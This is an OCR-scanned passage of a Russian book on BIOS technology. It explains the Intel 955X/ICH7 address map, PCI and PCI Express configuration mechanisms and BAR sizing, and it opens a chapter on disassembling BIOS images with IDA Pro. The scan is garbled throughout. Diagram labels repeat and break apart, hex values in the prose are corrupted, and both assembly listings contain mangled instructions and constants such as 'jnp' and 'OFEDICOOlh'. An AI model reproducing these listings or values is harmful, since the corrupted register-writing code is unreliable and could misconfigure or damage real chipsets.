Remap Limit I диапазон) 54 кв p_ooooh { Системная BIOS'E_FFFFh I (нижний
_,. (верхний
Remap Limit I диапазон) 54 кв p_ooooh { Системная BIOS'E_FFFFh I (нижний
диапазон)
64 КВ (16 КВ х 4),E_0000h
диапазон)
64 КВ (16 КВ х 4),E_0000h
Диапазонадресовпамяти PCI(Субтрактивнодекодируемыйв DMI)
Диапазонадресовпамяти PCI(Субтрактивнодекодируемыйв DMI)
— TOLUD
Диапазон адресов основной памяти п1 МВ -
Диапазон адресов наследуемой памяти q
— TOLUD
Диапазон адресов основной памяти п1 МВ -
Диапазон адресов наследуемой памяти q
Областьрасширения128 КВ(16 КВ х 8)Областьнаследуемойвидеопамяти(SMM Memory)128 КВ
Областьрасширения128 КВ(16 КВ х 8)Областьнаследуемойвидеопамяти(SMM Memory)128 КВ
Область DOS
Область DOS
D FFFFh
D FFFFh
IС OOOOh iB_FFFFh
IС OOOOh iB_FFFFh
A_0000h
9_FFFFh
A_0000h
9_FFFFh
О
О
APIC = Advanced Peripheral Interrupt Controller
(усовершенствованный периферийный контроллер прерываний)
TOLUD = Top of Low Usable DRAM
(верхний предел памяти, видимый операционной системе)
ТОМ = Top of Memory
(верхний предел занятой физической памяти)
Remap limit = Предел перераспределения (верхняя граница окна перераспределения)
Рис. 1.6. Адресное пространство систем на базе чипсета Intel 955X/ICH7
Как видно из рис. 1.6, адресное пространство, расположенное выше значения TOLUD (top of low usable DRAM, верхний предел памяти, видимой операционной системе), используется для устройств PCI, APIC и флэш-ROM BIOS. Кроме того, RAM использует еще две области системного адресного пространства, а именно: диапазон от 1 Мбайт до TOLUD и диапазон от предела 4 Гбайт до Remap Limit8. Причина этого состоит в том, что в 32-разрядном режиме процессоры х86 могут адресовать напрямую лишь до 4 Гбайт. Обратите внимание, что хотя устройства PCI Express отображаются на то же самое пространство адресов, что и устройства PCI, диапазоны адресов этих двух типов устройств не перекрывают друг друга. Несколько сотен килобайт адресов физической памяти недоступны, так как они используются другими аппаратными устройствами, использующими операции, отображаемые на память. Тем не менее, эти адреса можно сделать доступными с помощью режима управления системой (SMM, system management mode). Причина этого заключается в необходимости поддерживать обратную совместимость с DOS. Во времена DOS несколько областей памяти ниже 1 Мбайта (io_ooooh) использовались для отображения аппаратных устройств, таких как буфер видеоадаптера и BIOS ROM. Сокращения "BARs" на рис. 1.6 обозначают базовые адресные регистры (base address registers). Их назначение и использование будут рассмотрены в следующем разделе.
Приведенная на рис. 1.6 диаграмма адресов системной памяти показывает, что адреса BIOS отображаются на два различных диапазона адресного пространства — 46В_минус_емкость_В105_чипа ДО 4 ГбаЙТ И ОТ E_0000h ДО F_FFFFh. Первый диапазон адресов флэш-ROM BIOS является переменным и зависит от максимальной емкости чипа BIOS, поддерживаемой конкретным чипсетом. Эта особенность касается любого чипсета, и вы должны помнить о ней при изучении кода BIOS в последующих главах. Второй диапазон отображения адресов поддерживается большинством современных чипсетов. Это адресное пространство, размер которого составляет 128 Кбайт (е_оооон- f_ffffh), является двойником верхнего диапазона адресов чипа BIOS размером в 128 Кбайт. Аналогичная схема отображения адресного пространства физической памяти применяется и в чипсетах, работающих на иных шинных протоколах (например, HyperTrasport), а также в более старых чипсетах РС1. Использование этой схемы вызвано необходимостью сохранения совместимости между кодом BIOS разных производителей, а также для поддержания обратной совместимости с унаследованным программным обеспечением.
Фактически, диапазон от 4 Гбайт до Remap Limit состоит из двух областей, одна из которых расположена ниже, а вторая — выше предела ТОМ (top of memory, общий °°ъем занятой физической памяти). Однако поскольку эти области вплотную примыкают друг к другу, они рассматриваются как один диапазон.
Применение этой схемы адресации позволяет уменьшить затраты на разработку программного обеспечения, так как базовый код BIOS от разных производителей (AMI, Phoenix Award и т. д.) или совсем не нуждается в модификации, или же требует лишь незначительных изменений.
Протокол шины PCI
Шина PCI — высокоскоростная 32- или 64-разрядная шина с мультиплексированными линиями адресов и данных. Шина служит для соединения компонентов высокоинтегрированного контроллера периферийных устройств (т. е. компонентов чипсета), карт расширения, процессора и систем памяти. Начиная с середины 90-х годов прошлого столетия, это — наиболее употребительная шина для материнских плат PC. Лишь недавно вместо протокола PCI стали применяться более новые протоколы серийной шины, такие как PCI Express и HyperTransport. Официальный стандарт шины PCI поддерживается организацией PCI Special Interest Group (Специальная группа по PCI).
В системе может присутствовать до 256 шин PCI. Каждая шина может поддерживать до 32 устройств, каждое из которых поддерживает до 8 функций. Для соединения двух шин PCI применяется так называемый мост PCI-PC1, который пересылает транзакции PCI между шинами. Кроме того, что мосты PCI-PCI позволяют расширить шинную топологию, они необходимы для разрешения проблемы электрической нагрузки. В протоколе PCI сигналы пере-, даются при помощи эффекта отраженной волны, что позволяет подключить к одной шине десять устройств или пять разъемов PCI. Разъемы PCI нужны для подключения расширительных плат PCI. Комбинация разъема с платой интерпретируется как две электрических нагрузки, одна из которых представляет собой сам разъем, а вторая — подключенную к нему плату расширения.
Наиболее важными аспектами протокола шины PCI, с точки зрения технологии BIOS, являются ее программная модель и механизм конфигурации. Эта тема освещается в главе 6 официальной спецификации PCI версий 2.3 и 3.0. Она будет детально рассмотрена в данном разделе.
Для конфигурирования шины PCI применяется конфигурационное адресное пространство. Оно состоит из 256 байт, которые можно адресовать, зная номер шины PCI, номер устройства и номер функции в логическом устройстве. Нужно отметить, что одно физическое устройство PCI может содержать несколько логических устройств PCI, каждое из которых, в свою очередь, может содержать несколько функций. Протокол шины PCI не унифицирует механизм, который устройства PCI должны использовать для доступа к конфигурационному адресному пространству в различных процессорных архитектурах. Напротив, в каждой из процессорных архитектур применятся соб-
ственный механизм доступа к конфигурационному пространству PCI. В одних процессорных архитектурах это пространство отображается на их адресное пространство памяти, в то время как в других оно отображается на их адресное пространство ввода/вывода. На рис. IЛ показана типичная организация регистров конфигурационного пространства устройств PCI, не являющихся мостами PCI-PCI.
31
16 15
0
Идентификатор устройства (Device ID)
Идентификатор поставщика (Vendor ID)
OOh
Состояние (Status)
Командный регистр (Command)
04h
Код класса устройства (Class Code)
ID модификации (Revision ID)
08h
Встроенный тест (Built-In Self Test, BIST)
Тип заголовка (Header Type)
Таймер времени ожидания (Latency Timer)
Размер строки кэша (Cache Line Size)
OCh
10h
14h
Регистры базовых адресов (Base Address Registers)
18h
1Ch
20h
24h
CardBus CIS Pointer - Регистр указателя на структуру информации о карте (Card Information Structure, CIS) для платы CardBus
28h
'Идентификатор подсистемы
(Subsystem ID)
Идентификатор поставщика подсистемы (Subsystem Vendor ID)
2Ch
Базовый адрес ROM расширения
(Expansion ROM Base Address)
30h
Зарезервировано
Указатель на список возможностей (Capabilities pointer)
34h
Зарезервировано
38h
Max_Lat
Min_Gnt
Interrupt Pin
Interrupt Line
3Ch
nterrupt Line - регистр, задающий информацию о линии прерывания
Interrupt Pin - регистр, задающий информацию о выводах прерывания, используемых устройством
Min_Gnt и Max_Lat - регистры, определяющие значения, которые устройство
предполагает установить для таймера времени ожидания
Рис. 1.7. Регистры конфигурационного пространства устройств PCI,не являющихся мостами PCI-PCI
3124
2316
158
70
Идентификатор устройства (Device ID)
Идентификатор поставщика (Vendor ID)
OOh
Состояние (Status)
Командный регистр (Command)
04h
Код класса устройства (Class Code)
ID модификации (Revision ID)
08h
Встроенный тест (Built-In Self Test, BIST)
Тип заголовка (Header Type)
Первичный таймер времени ожидания (Primary Latency Timer)
Размер строки кэша (Cache Line Size)
OCh
Регистр базового адреса 0 (Base Address Register 0)
10h
Регистр базового адреса 1
Base Address Register
•1)
I4h
Вторичный таймер времени ожидания (Secondary Latency Timer)
Номер подчиненной шины (Subordinate Bus Number)
Номер вторичной шины (Secondary Bus Number)
Номер первичной шины (Primary Bus Number)
18h
Вторичный регистр состояния (Secondary status)
I/O Limit
I/O Base
1Ch
Предел памяти (Memory Limit)
База памяти (Memory Base)
20h
Предел памяти с упреждающей выборкой (Prefetchable Memory Limit)
База памяти с упреждающей выборкой (Prefetchable Memory Base)
24h
Верхние 32 бита базы с упреждающей выборкой (Prefetchable Base Upper 32 Bits)
28h
Верхние 32 бита предела с упреждающей выборкой (Prefetchable Limit Upper 32 Bits)
2Ch
Верхние 16 бит предела ввода/вывода (I/O Limit Upper 16 Bits)
Верхние 16 бит базы ввода/вывода (I/O Base Upper 16 Bits)
30h
Зарезервировано
Указатель на список возможностей (Capabilities Pointer)
34h
Базовый адрес ROM платы расширения (Expansion ROM Base Address)
38h
Регистр управления мостом (Bridge Control)
Interrupt Pin
Interrupt Line
3Ch
Примечания:
Interrupt Line - регистр, задающий информацию о линии прерывания
Interrupt Pin - регистр, задающий информацию о выводах прерывания, используемых устройством
Рис. 1.8. Регистры конфигурационного пространства устройства,являющегося мостом PCI-PCI
В архитектуре х8б конфигурационное пространство PCI отображается на адресное пространство ввода/вывода процессора. Для работы с шиной выделяются два 32-битных порта. Порт Oxcfs (oxcfs-Oxcfb) служит портом адреса, а порт Oxcfc (oxcfc-Oxcff) — портом данных. Конфигурирование чипа PCI, т. е. чтение и запись значений в его конфигурационные регистры, производится при помощи этих портов. Нужно заметить, что сам чипсет материн-
ской платы, будь то северный мост или южный мост, являются чипами PCI. Таким образом, эти чипы конфигурируются при помощи конфигурационного механизма PCI. В большинстве случаев, эти чипы реализуют несколько функций или даже устройств PCI. В чипе северного моста реализован мост хост-PCI, мост PCI-PCI (мост PCI-AGP) и т. д. В чипе южного моста реализован контроллер IDE, мост LPC и т. д. Мост PCI-PCI был введен, чтобы обойти слабое место шины PCI — ее малую электрическую мощность, ограничивающую количество физических устройств, которые можно подключить к шине. Кроме этого, в современной архитектуре шины мост PCI-PCI служит для логической связи между разными чипами. При помощи мостов PCI-PCI операционная система может сконфигурировать всю систему шин, обращаясь ко всем устройствам, подключенным к шинной топологии. На рис. 1.8 показаны регистры типичного конфигурационного пространства устройства, являющегося мостом PCI-PCI.
Так как шина PCI имеет разрядность в 32 бита, для взаимодействия устройств при ее использовании должен применяться 32-разрядный режим адресации. Иными словами, для чтения и записи на эту шину должны применяться 32- разрядные адреса. Нужно отметить, что для реализации 64-раздрядной шины PCI применяется двойной цикл адреса, т. е. для обращения к 64-разрядным устройствам PCI необходимо использовать два адресных цикла. В архитектуре х86 взаимодействие с конфигурационным пространством PCI осуществляется при помощи следующего алгоритма (с точки зрения хоста или центрального процессора):
Для конфигурируемого устройства в порт адреса конфигурационного пространства (порт Oxcfs-Oxcfb) записывается следующая информация: номер шины, к которой подключено данное устройство, номер устройства на шине, номер функции устройства и смещение (или, иначе говоря, индекс регистра). Значение бита флага доступа к устройству (бит 31 порта адреса конфигурационного пространства) устанавливается в единицу. Иными словами, в порт адреса PCI записывается адрес регистра, над которым требуется произвести операцию записи или чтения.
Выполняется операция чтения или записи одного, двух или четырех байтов в порт данных конфигурационного пространства PCI (порт oxcfc- Oxcff). Иными словами, производится либо чтение данных из порта данных PCI, либо операция записи данных в этот порт.
Ассемблерный код, демонстрирующий использование этого алгоритма для Работы с портами адреса и данных конфигурационного пространства PCI, приведен в листинге 1.1.
Листинг 1.1. Пример программы для чтения и записи в конфигурационные порты PCI
; Код использует синтаксис MASM
Pushad
; Сохраняем содержимое всех регистров общего назначения.
mov еах, 80000064b
; Помещаем в регистр еах адрес регистра конфигурируемого
; чипа PCI (смещение 64, устройство 00:00:00 или
; главный мост/северный мост).
mov dx, 0CF8h
; Помещаем в регистр dx порт адреса.
; Чтобы открыть доступ к устройству PCI, ; используется порт 0xCF8.
out dx, eax
; Посылаем порт адреса PCI в конфигурационное пространство
; процессора
mov dx, OCFCh
; Помещаем в регистр dx адрес порта данных.
; Для обмена данными с устройством PCI,
; используется адрес OxCFC порта данных.
in eax, dx
,- Помещаем в регистр еах данные, считанные с устройства.
or eax, 00020202
; Модифицируем данные. (Это всего лишь пример; не
; делайте этого на своем компьютере, так как это
; может привести к его зависанию или даже повреждению).
out dx, eax
; Отсылаем данные обратно.
; Помещаем свой код сюда.
popad
; Восстанавливаем все ранее сохраненные регистры.
ret
; Возвращаемся в вызывающую программу.
Несколько лет тому назад я прошил этот код в BIOS материнской платы на чипсете PCI VIA 693А-596В, чтобы исправить конфигурацию его контроллера памяти. Код достаточно понятен. В первой строке сохраняются текущие данные регистров общего назначения процессора. Затем идет важная часть: как было упомянуто раньше, шина PCI — 32-разрядная, поэтому взаимодействие с системой производится при помощи 32-разрядных адресов. Для этого посылаем 32-разрядный адрес регистра конфигурации чипу PCI через регистр еах в порт Охсге. Формат адреса регистра конфигурационного пространства PCI (иногда этот адрес еще называют смещением) показан в листинге 1.1:
mov еах, 80000064h
Значение 8ocooo64h и есть адрес регистра конфигурации (смещение). Для битов адреса устанавливаются значения, показанные на рис. 1.9 и 1.10 и описанные в табл. 1.1.
Позиция бита
15
14
13
12
11
10
9
8
7
6
5
4
3
2
1
0
Двоичное значение
0
0
0
0
0
0
0
0
0
1
1
0
0
1
0
0
Шестнадцатеричное значение
0
0
6
4
Рис. 1.9. Пример конфигурационного адреса PCI (младшее слово)
Позиция бита
31
30
29
28
27
26
25
24
23
22
21
20
19
18
17
16
Двоичное значение
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
Шестнадцатеричное значение
8
0
0
0
Рис. 1.10. Пример конфигурационного адреса PCI (старшее слово)
Таблица 1.1. Значения битов адреса конфигурационного регистра PCI
Позиция бита
Описание
31
Флаг доступа к устройству. Если этот бит установлен в единицу, то транзакции чтения и записи на шине PCI разрешены. В противном случае, транзакция будет интерпретироваться как недопустимая попытка доступа к конфигурационному пространству, и по этой причине будет проигнорирована. Так как биты 24-30 зарезервированы и равны нулям (см. следующую строку этой таблицы), крайний левый полубайт старшего слова конфигурационного адреса всегда должен иметь значение 1000, то есть 8h (см. рис. 1.10)
24-30
Зарезервированные биты
16-23
Номер шины PCI
11-15
Номер устройства PCI
8-10
Номер функции PCI
2-7
Смещение (обратите внимание на необходимость выравнивания по 32-битной границе)
0-1
Не используется, так как адрес должен выравниваться по 32-битной границе (см. предыдущую строку данной таблицы)
Таким образом, значение адреса регистра конфигурации, равное 8оооооб4н, означает, что выбирается регистр со смещением 64 функции 0 устройства 0 на шине 0. Это — конфигурационный регистр контроллера памяти северного
моста чипсета VIA 693А. В большинстве случаев устройством с функцией О устройства 0 на шине 0 будет мост хост-PCI. Тем не менее, чтобы устранить любые сомнения, необходимо просмотреть технические характеристики данного чипсета. Понимание последующих участков кода также не должно вызывать трудностей. Если вы все же испытываете затруднения, я рекомендую освежить ваши знания языка ассемблера для процессоров х86. Обобщенно говоря, этот код выполняет следующие задачи: данные считываются из указанного регистра конфигурации, модифицируются, а затем записываются обратно в устройство.
В конфигурационном пространстве каждого устройства PCI имеются регистры, присущие только данному устройству и используемые для его конфигурирования. Некоторые адреса из 256 байтов конфигурационного пространства могул' оставаться неиспользованными. При обращении к таким адресам в циклах чтения конфигурации PCI возвращается значение Oxff.
Как известно, объем оперативной памяти различен для разных систем. Вследствие этого возникает вопрос о том, каким образом устройства PCI решают эту проблему. Иначе говоря, каким образом они отображаются на необходимые адреса? Средством к решению этой проблемы являются регистры конфигурационного пространства PCI. Вспомните, что стандартный конфигурационный заголовок, показанный на рис. 1.7 и 1.8, содержит базовые адресные регистры (BAR). Эти регистры используются для обращения к устройствам PCI. В начале загрузки системы, в базовый адресный регистр каждого устройства PCI записывается начальный адрес пространства памяти или ввода-вывода, который будет использоваться для работы с конкретным устройством PCI. Содержимое регистров BAR можно модифицировать и считывать программными средствами. Ответственность за инициализацию регистров BAR при загрузке системы лежит на BIOS. Значение адреса, записанного в BAR, должно быть уникальным. Кроме того, оно не должно конфликтовать с адресом памяти или ввода-вывода, используемым другим устройством или RAM. Нулевой бит всех регистров BAR доступен только для чтения. Он указывает адресное пространство, на которое должен отображаться данный BAR — это может быть адресное пространство памяти (рис. 1.11) или адресное пространство ввода-вывода (рис. 1.12).
Для 64-разрядных устройств PCI применяются два последовательных регистра BAR, которые могут отображаться только на адресное пространство памяти. Одно устройство PCI может иметь несколько регистров BAR, отображаемых на адресное пространство памяти, а оставшийся регистр BAR отображается на пространство ввода-вывода. Таким образом, при помощи регистров BAR любое устройство PCI можно настраивать так, чтобы оно отображалось на любую доступную область адресов памяти или ввода-вывода.
314
3
2 1
0
Базовый адрес (Base Address)
0
Бит упреждающей выборки (Prefetchable)^
Установлен в "1". При отсутствии побочных эффектов чтения устройство возвращает все байты для операции чтения независимо от сигнала разрешения обращения к байтам. Главные мосты могут объединять в этот диапазон операции записи, не вызывая ошибок. В противном случае бит должен | быть установлен в "О".I
Тип (Туре)
00 - Размещение в любом месте 32-разрядного адресного пространства
01 - Зарезервировано
- Размещение в любом месте 64-разрядного адресного пространства
- Зарезервировано
Индикатор пространства памяти|
(Memory Space Indicator)
Рис. 1.11. Формат регистра BAR,настроенного на пространство памяти
312 10
Базовый адрес (Base Address)
0
1
Зарезервировано1
Указатель пространства ввода/вывода-—-- -
(I/O Space Indicator)
Рис. 1.12. Формат регистра BAR,настроенного на пространство ввода-вывода
Поскольку BAR содержит лишь нижний предел области памяти, которую нужно выделить устройству, необходимо разобраться, каким образом BIOS определяет верхний предел и общий объем этой области памяти. Чтобы BIOS могла справиться с этой задачей, используются программируемые биты BAR и биты, чьи значения жестко установлены в нуль. При этом программируемыми являются биты старшего слова, а биты младшего слова жестко устанавливаются в нуль. В замечании по реализации из спецификации PCI v. 2.3 говорится следующее.
Замечание по реализации: Пример определения НЕОБХОДИМОГО РАЗМЕРА ПАМЯТИ
Перед определением размера базового адресного регистра (BAR) декодирование регистра (ввода-вывода или памяти) блокируется через командный регистр. Программа сохраняет исходное значение регистра BAR, заносит в регистр значение OFFFFFFFFh, а затем вновь считывает его. Размер может быть определен по считанному 32-разрядному значению. Это осуществляется путем очистки битов, содержащих информацию кодирования (бит 0 для пространства ввода-вывода, биты 0-3 — для пространства памяти), после чего все 32 бита инвертируются (логическая операция not), а затем полученное значение увеличивается на 1. Результирующее 32-разрядное значение представляет собой размер диапазона адресов памяти или ввода-вывода, декодированное с помощью регистра. Обратите внимание, что старшие 16 разрядов результата игнорируются, если регистр BAR задает отображение на пространство ввода- вывода и в битах 16-31 возвращены нулевые значения. Исходное значение, содержавшееся в регистре BAR, восстанавливается перед активизацией декодирования в командном регистре устройства.
64-разрядные регистры BAR (соответствующие отображению в память) могут обрабатываться тем же путем, за исключением того, что второй 32-разрядный регистр (то есть биты 32-63) считается продолжением первого. Программа заносит в оба регистра значение OFFFFFFFFh, затем повторно считывает их и комбинирует результат так, чтобы образовать 64-разрядное значение, на основании которого и производится вычисление размера.
Как видно из вышеприведенного примера реализации, BIOS может "опросить" устройство РС1 на предмет объема адресного пространства, необходимого данному устройству. Получив запрошенную информацию, BIOS может настроить BAR на использование области свободных адресов в адресном пространстве процессора. Затем, зная объем адресного пространства, необходимого предыдущему устройству, BIOS таким же образом настраивает BAR следующего устройства, устанавливая его в адрес в следующей свободной области адресов, находящийся выше области адресов, выделенной предыдущему устройству. Адрес, установленный в следующий регистр BAR, должен быть не ниже адреса, вычисляемого по следующей формуле:
адрес_следующего_ВАК = адрес_предыдущего_ВАК + объем_адресного_пространства_предадущего_ВАК + 1 При этом разрешается устанавливать следующий регистр BAR в адрес, лежащий выше адреса, вычисленного по вышеприведенной формуле. Этот механизм позволяет распределять адреса, избегая конфликтов. Данная возможность перемещать диапазоны отображения адресов является одним из ключевых достоинств устройств PCI, позволяющим исключить проблему с конфликтами адресного пространства, присущую устройствам ISA.
Фирменные шины
для соединения между чипсетами
За последние годы производители чипсетов для материнских плат разработали собственные интерфейсы для взаимодействия между северным и южным мостами. Так, например, компания VIA разработала интерфейс V-Link, SiS — MuTIOL, a Intel — hub interface (HI). Эти интерфейсы представляют собой лишь временное решение проблемы нехватки пропускной способности интерфейса обмена данными между периферийными устройствами, установленными в слоты расширения PCI, чипами PCI, встроенными в материнскую плату и оперативной памятью. С появлением новых и более быстрых шинных протоколов, таких как PCI Express и HyperTransport, эти временные решения быстро теряют актуальность и вытесняются с рынка. Тем не менее, эти интерфейсы необходимо рассмотреть, чтобы устранить потенциальные проблемы с пониманием их роли и места в технологии BIOS.
Эти фирменные протоколы прозрачны с точки зрения конфигурации и инициализации. В них не применяется никаких нововведений. Для конфигурирования устройств PCI, подключенных к северному и южному мостам, все они используют механизм конфигурации PCI. В большинстве случаев этот канал связи рассматривается как шина, соединяющая северный и южный мосты. "Прозрачность" этих протоколов необходима для минимизации затрат на реализацию. В частности, это свойство чипсета Intel 865PE/ICH5 подробно описывается в технической документации на материнскую плату 1865РЕ, отрывок из которой предлагается вашему вниманию.
Фрагмент спецификации на материнскую плату I865PE
В некоторых более ранних чипсетах, хаб МСК (северный мост Intel 955Х) и хаб I/O Controller Hub (ICHx) физически соединены шиной PCI 0. С точки зрения конфигурации, оба компонента выглядят подключенными к PCI шине 0, которая также является основной шиной расширения системы PCI. Хаб МСН содержит два устройства PCI, а хаб ЮНх рассматривается как одно устройство PCI с несколькими функциями.
Структура конфигурации платформы на чипсете 865РЕ/865Р принципиально иная. Контроллеры МСН и ICH5 физически соединены при помощи шины Hub Interface, так что, с точки зрения конфигурирования, шина Hub Interface логически является шиной PCI 0. В результате, все внутренние устройства хабов МСН и ICH5 выглядят расположенными на шине PCI 0. Главная шина расширения PCI системы физически подсоединена к хабу ICH5 и с позиции конфигурирования выглядит как шина в иерархии PCI, расположенная после моста PCI-PCI; поэтому у нее есть программируемый номер шины PCI. Обратите внимание, что в данной спецификации, в терминах конфигурирования, главная шина PCI
называется шиной РС1_А, а не шиной PCI 0. Системное программное обеспечение воспринимает порт AGP как физическую шину PCI, находящуюся в иерархии за мостами PCI-PCI, расположенными на шине PCI 0.
Хаб МСН содержит четыре логических устройства PCI в одном физическом устройстве.
С дополнительной информацией по этим шинам можно ознакомиться в технической документации на соответствующие чипсеты. В документации на некоторые чипсеты эта особенность может быть описана неявным образом. Тем не менее, по аналогии можно заключить, что в них применяется тот же самый принцип.
Протокол шины PCI Express
Протокол PCI Express поддерживает механизм конфигурирования PCI, описанный в предыдущем разделе. Таким образом, конфигурационный механизм PCI продолжает применяться и в системах, основанных на шине PCI Express. В большинстве случаев, чтобы запустить расширенный конфигурационный механизм PCI Express, сначала необходимо, чтобы BIOS инициализировала некоторые необходимые регистры PCI Express при помощи конфигурационного механизма PCI. Такой подход необходим, потому что в новом расширенном конфигурационном механизме PCI Express применяются регистры BAR, которые необходимо инициализировать на предопределенный адрес в общесистемном адресном пространстве. Только после этой операции можно будет запустить усовершенствованный конфигурационный цикл PCI Express.
Устройства PCI Express, включая чипсеты PCI Express, конфигурируются при помощи так называемого блока регистров корневого комплекса RCRB (root complex register block). Регистры RCRB отображаются в память. В отличие от конфигурационного механизма PCI, в котором применяются транзакции чтения и записи в пространство ввода/вывода, в усовершенствованном конфигурационном механизме PCI Express применяются транзакции чтения и записи в любой из регистров блока RCRB. При этом операции чтения и записи должны выравниваться по 32-битной границе. Это означает, что они не могут пересекать естественную 32-битную границу в адресном пространстве памяти. Для адресации блока RCRB в адресном пространстве памяти используется базовый (индексный) адресный регистр корневого комплекса RCBAR (root complex base address register). Регистр RCBAR конфигурируется при помощи конфигурационного механизма PCI. Таким образом, алгоритм для конфигурации любого регистра в блоке RCRB следующий:
Регистр RCBAR устройства PCI Express инициализируется на заведомо известный адрес в адресном пространстве памяти при помощи конфигурационного механизма PCI.
Производится чтение или запись по границе двойного слова в отображенный в память регистр с учетом значения регистра RCBAR. Таким образом, адрес регистра в адресном пространстве памяти определяется как значение регистра RCBAR плюс смещение регистра, задаваемое значением, содержащимся в RCRB.
Код, приведенный в листинге 1.2, поясняет механизм работы данного алгоритма.
Листинг 1.2. Пример кода доступа к расширенной конфигурации PCI Express
Init_HI_RTC_Regs_Mapping proc near
mov
eax, 8000F8F0h
; Разрешаем доступ конфигурационного цикла ; к шине 0, устройству 31, функции 0,
; т. е. к мосту LPC Intel ICH7.
mov
out
dx, 0CF8h
dx, eax
; dx = порт адреса конфигурационного ; пространства PCI.
add
dx, 4
; dx = порт данных конфигурационного ; пространства PCI.
mov
out
eax, OFEDICOOlh
dx, eax
; Разрешаем доступ к конфигурации
; корневого комплекса в пространстве
; памяти FEDl_C000h.
mov jnp
di, offset ret_addr_l enter_flat_real_mode
; Сохраняем адрес возврата в регистре di.
ret_ador_l:
mov
esi, 0FEDlF400h
; Конфигурация RTC (конфигурационный
; регистр ICH7 по адресу памяти 3400h).
mov
eax, es:[esi]
or
mov
eax, 4
es:[esi], eax
; Разрешаем доступ к 128 старшим ; байтам RTC.
mov jnp
di, offset ret_addr_2 exi t_f lat_real_mode
; Сохраняем в di регистре адрес возврата
ret_addr_2:
^val, OAlh
out72h, al
out OEBh, al in al, 73h out OEBh, al; Значение CMOS выдается в
; диагностический порт.
mov bh, al retn
Init_HI_RTC_Regs_Mapping endp
Код, показанный в листинге 1.2, — это фрагмент дизассемблированного кода блока начальной загрузки BIOS материнской платы Foxconn 955Х7АА- 8EKRS2. Эта материнская плата основана на чипсете Intel 955X-ICH7. Как видно, регистр, контролирующий регистр RTC в ICH7, отображается в память, и доступ к нему осуществляется при помощи инструкций чтения и записи согласно расширенному конфигурационному механизму PCI Express. В рассматриваемом отрывке кода, базовый адрес RCRB ICH7 инициализируется значением FEDi_coooh. Обратите внимание, что последний бит — это флаг доступа к устройству, и в вычислении базового адреса он не используется. Чтобы разрешить конфигурационный цикл корневого комплекса, флаг доступа должен быть установлен в единицу. Этот метод аналогичен конфигурационному механизму PCI. С точки зрения центрального процессора, базовый адрес корневого комплекса расположен в адресном пространстве системной памяти.
Необходимо отметить то обстоятельство, что расширенный конфигурационный механизм PCI Express, описанный здесь, зависит от конкретной реализации, т. е. он работает лишь с чипсетом Intel 955X-ICH7. В более новых чипсетах он может быть реализован иначе. В таком случае, необходимую информацию можно будет почерпнуть из технической документации на конкретный чипсет. С высокой вероятностью, иной вариант расширенного конфигурационного механизма PCI Express не будет сильно отличаться от механизма, описанного в данном примере. Как и в приведенном примере, регистры будут отображены в память, и будет использоваться регистр RCBAR.
Протокол шины HyperTransport
В большинстве случаев, в конфигурационном механизме HyperTransport применяется конфигурационный механизм, описанный в предыдущем разделе. Хотя внутренне конфигурационный механизм HyperTransport реализован
как транзакция, отображенная в память, для программистов это обстоятельство прозрачно. Это означает, что данный конфигурационный механизм лишь несущественно отличается от конфигурационного механизма PCI. Конфигурационные регистры HyperTransport расположены внутри 256-байтного пространства, как и конфигурационные регистры PCI. Но базовые адреса конфигурационных регистров HyperTransport расположены выше базовых адресов заголовка PCI, т. е. находятся выше первых 16 двойных слов в конфигурационном пространстве PCI соответствующего устройства. Эти конфигурационные регистры, специфичные для шины HyperTransport, введены как новые возможности, т. е. на них указывает указатель возможностей (Capabilities Pointer) конфигурационного пространства устройства PCI. Полная схема конфигурационного регистра PCI показана на рис. 1.7.
Глава 2
Введение в дизассемблирование
Введение
В этой главе рассматриваются основы дизассемблирования1 программ с помощью дизассемблера IDA Pro. Кроме того, будут продемонстрированы технические приемы, применяемые в IDA Pro для дизассемблирования плоских двоичных файлов. Знание этих приемов является важной частью работы с BIOS, так как код BIOS прошит в чип BIOS в виде плоского двоичного файла". Представленные передовые методы работы с IDA Pro включают разработку сценариев и подключаемых модулей (plug-ins). Овладев этими приемами, вы сможете дизассемблировать код для платформ, отличных от х86.
*В более широком смысле этот подход называется исследованием и обратной разработкой программ (англ, reverse engineering). Обычно осуществляется с целью дальнейшей модификации, копирования или получения некоторых закрытых сведений о внутреннем устройстве программы. Популярные операционные системы часто исследуются с применением методов обратной разработки с целью поиска уязвимостей (так называемых "дыр" в системе безопасности). Обратная разработка программного обеспечения подразумевает: анализ обмена данными для прослушивания шины компьютера или компьютерной сети, дизассемблирование (интерпретацию прямого машинного кода в листинг на языке ассемблера) и декомпиляцию (восстановление исходных текстов программы на одном из высокоуровневых языков программирования из объектного (исполняемого) машинного кода. Обычно анализ обмена данными производится с помощью анализаторов шины (bus analyzers) и пакетных снифферов (packet sniffers). Восстановление исходного кода программ осуществляется с помощью отладчиков (debuggers), дизассемблеров (disassemblers) и декомпиляторов (decompilers).
2 Плоский двоичный файл содержит лишь исполняемый код, не отформатированный и не структурированный каким-либо образом, но, возможно, содержащий самодостаточные данные. В отличие от исполняемого двоичного файла, плоский двоичный файл не имеет никакого заголовка. Исполняемый же двоичный файл должен следовать какому-либо формату и иметь заголовок, по которому операционная система сможет его распознать и обработать соответствующим образом.
Сканирование двоичного файла
Прежде чем запустить дизассемблер и начать анализировать интересующий вас файл, необходимо исследовать его структуру. Для этого следует произвести предварительное изучение этого двоичного файла. Я называю данную процедуру сканированием двоичного файла. Для этой цели файл открывается в hex-редакторе, и его содержимое подвергается анализу. Для опытного хакера этот шаг может оказаться более продуктивным, нежели прямое дизассемблирование программы. Хакер, хорошо знающий архитектуру компьютера, для исполнения на котором предназначен исследуемый файл, сможет распознать ключевые структуры этого файла, даже не прибегая к дизассемблеру. В качестве наглядной иллюстрации рассмотрим следующий пример. Запустите редактор Hex Workshop и откройте двоичный файл BIOS, предназначенный для материнской платы Foxconn 955X6AA-8EKRS2. Фрагмент содержимого этого файла показан на рис. 2.1.
В правой панели окна дизассемблера, отображающей содержимое исследуемого файла в кодировке ASCII, можно увидеть несколько текстовых строк. Опытный хакер сразу же обратит внимание на строку -1Ь5- в начале файла, так как она похожа на маркер заголовка сжатого файла. Дальнейшее исследование покажет, что эта строка и в самом деле помечает заголовок файла, сжатого с помощью архиватора LHA.
